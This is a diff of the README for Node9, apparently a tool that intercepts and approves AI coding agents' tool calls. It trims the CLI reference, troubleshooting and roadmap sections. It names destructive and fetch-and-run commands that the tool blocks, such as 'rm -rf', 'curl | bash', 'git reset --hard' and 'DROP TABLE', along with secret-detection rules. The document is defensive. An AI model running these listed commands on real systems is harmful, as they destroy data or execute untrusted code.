- | `node9 explain <tool> [args]` | Trace the policy waterfall for a given tool call (dry-run, no approval prompt) |
643
- | `node9 undo [--steps N]` | Revert the last N AI file edits using shadow Git snapshots |
644
- | `node9 mcp-gateway --upstream <cmd>` | Wrap an MCP server with Node9 security โ€” intercepts every tool call |
645
- | `node9 mcp-server` | Run the Node9 MCP server โ€” exposes undo and other tools to Claude, Cursor, and Gemini |
646
- | `node9 check` | Called by agent hooks; evaluates a pending tool call and exits 0 (allow) or 1 (block) |
647
-
648
- ### `node9 doctor`
649
-
650
- ```
651
- Node9 Doctor v1.2.0
652
- โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
653
- Binaries
654
- โœ… Node.js v20.11.0
655
- โœ… git version 2.43.0
656
-
657
- Configuration
658
- โœ… ~/.node9/config.json found and valid
659
- โœ… ~/.node9/credentials.json โ€” cloud credentials found
660
-
661
- Agent Hooks
662
- โœ… Claude Code โ€” PreToolUse hook active
663
- โš ๏ธ Gemini CLI โ€” not configured (optional)
664
- โš ๏ธ Cursor โ€” not configured (optional)
665
-
666
- โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
667
- All checks passed โœ…
668
- ```
669
-
670
- ### `node9 explain`
103
+ ## What's always on (no config needed)
671
104
 
672
- Dry-runs the policy engine and prints exactly which rule would fire โ€” useful for debugging:
673
-
674
- ```bash
675
- node9 explain bash '{"command":"rm -rf /tmp/build"}'
676
- ```
677
-
678
- ```
679
- Policy Waterfall for: bash
680
- โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
681
- Tier 1 ยท Cloud Org Policy SKIP (no org policy loaded)
682
- Tier 2 ยท Dangerous Words BLOCK โ† matched "rm -rf"
683
- โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
684
- Verdict: BLOCK (dangerous word: rm -rf)
685
- ```
105
+ - **Git:** blocks `git push --force`, `git reset --hard`, `git clean -fd`
106
+ - **SQL:** blocks `DELETE`/`UPDATE` without `WHERE`, `DROP TABLE`, `TRUNCATE`
107
+ - **Shell:** blocks `curl | bash`, `sudo` commands
108
+ - **DLP:** blocks AWS keys, GitHub tokens, Stripe keys, PEM private keys in any tool call argument
109
+ - **Auto-undo:** git snapshot before every AI file edit โ†’ `node9 undo` to revert
686
110
 
687
111
  ---
688
112
 
689
- ## ๐Ÿ”ง Troubleshooting
690
-
691
- **`node9 check` exits immediately / Claude is never blocked**
692
- Node9 fails open by design to prevent breaking your agent. Check debug logs: `NODE9_DEBUG=1 claude`. Also verify you are in `standard` or `strict` mode โ€” the default `audit` mode approves everything and only logs.
693
-
694
- **Terminal prompt never appears during Claude/Gemini sessions**
695
- Interactive agents run hooks in a "Headless" subprocess. You **must** enable `native: true` or `browser: true` in your config to see approval prompts.
696
-
697
- **"Blocked by Organization (SaaS)"**
698
- A corporate policy has locked this action. You must click the "Approve" button in your company's Slack channel to proceed.
699
-
700
- **`node9 tail --history` says "Daemon failed to start" even though the daemon is running**
701
- This can happen when the daemon's PID file (`~/.node9/daemon.pid`) is missing โ€” for example after a crash or a botched restart left a daemon running without a PID file. Node9 now detects this automatically: it performs an HTTP health probe and a live port check before deciding the daemon is gone. If you hit this on an older version, run `node9 daemon stop` then `node9 daemon -b` to create a clean PID file.
702
-
703
- ---
113
+ ## ๐Ÿ“– Full docs
704
114
 
705
- ## ๐Ÿ—บ๏ธ Roadmap
706
-
707
- - [x] **Multi-Channel Race Engine** (Simultaneous Native/Browser/Cloud/Terminal)
708
- - [x] **AI Negotiation Loop** (Instructional feedback loop to guide LLM behavior)
709
- - [x] **Resolution Waterfall** (Cascading configuration: Env > Cloud > Project > Global)
710
- - [x] **Native OS Dialogs** (Sub-second approval via Mac/Win/Linux system windows)
711
- - [x] **Shadow Git Snapshots** (1-click Undo for AI hallucinations)
712
- - [x] **Identity-Aware Execution** (Differentiates between Human vs. AI risk levels)
713
- - [x] **Shield Templates** (`node9 shield enable <service>` โ€” one-click protection for Postgres, GitHub, AWS)
714
- - [x] **Content Scanner / DLP** (Detect and block secrets like AWS keys and Bearer tokens in-flight)
715
- - [x] **Flight Recorder** (Real-time activity stream in browser dashboard and `node9 tail` terminal view)
716
- - [x] **Universal MCP Gateway** (Transparent stdio proxy โ€” wraps any MCP server for any AI agent: `node9 mcp-gateway --upstream <cmd>`)
717
- - [x] **Node9 MCP Server** (Native MCP tools for Claude/Cursor/Gemini: `node9_undo_list`, `node9_undo_revert` โ€” auto-registered by `node9 init`)
718
- - [ ] **Cursor & Windsurf Hook** (Native hook support for AI-first IDEs)
719
- - [ ] **VS Code Extension** (Approval requests in a native sidebar โ€” no more OS popups)
720
- - [ ] **Execution Sandboxing** (Simulate dangerous commands in a virtual FS before applying)
721
- - [ ] **Multi-Admin Quorum** (Require 2+ human signatures for high-stakes production actions)
722
- - [ ] **SOC2 Tamper-proof Audit Trail** (Cryptographically signed, cloud-managed logs)
115
+ Everything else โ€” config reference, smart rules, stateful rules, trusted hosts, approval modes, CLI reference โ€” is at **[node9.ai/docs](https://node9.ai/docs)**.
723
116
 
724
117
  ---
725
118
 
726
- ## ๐Ÿ”— Related
119
+ ## Related
727
120
 
728
- - [node9-python](https://github.com/node9-ai/node9-python) โ€” Python SDK for Node9
121
+ - [node9-python](https://github.com/node9-ai/node9-python) โ€” Python SDK
122
+ - [governed-agent](https://github.com/node9-ai/governed-agent) โ€” Reference governed agents (CI code review fixer)
729
123
 
730
124
  ---
731
125
 
732
- ## ๐Ÿข Enterprise & Compliance
126
+ ## Enterprise
733
127
 
734
- Node9 Pro provides **Governance Locking**, **SAML/SSO**, and **VPC Deployment**.
735
- Visit [node9.ai](https://node9.ai)
128
+ Node9 Pro provides governance locking, SAML/SSO, and VPC deployment. Visit [node9.ai](https://node9.ai).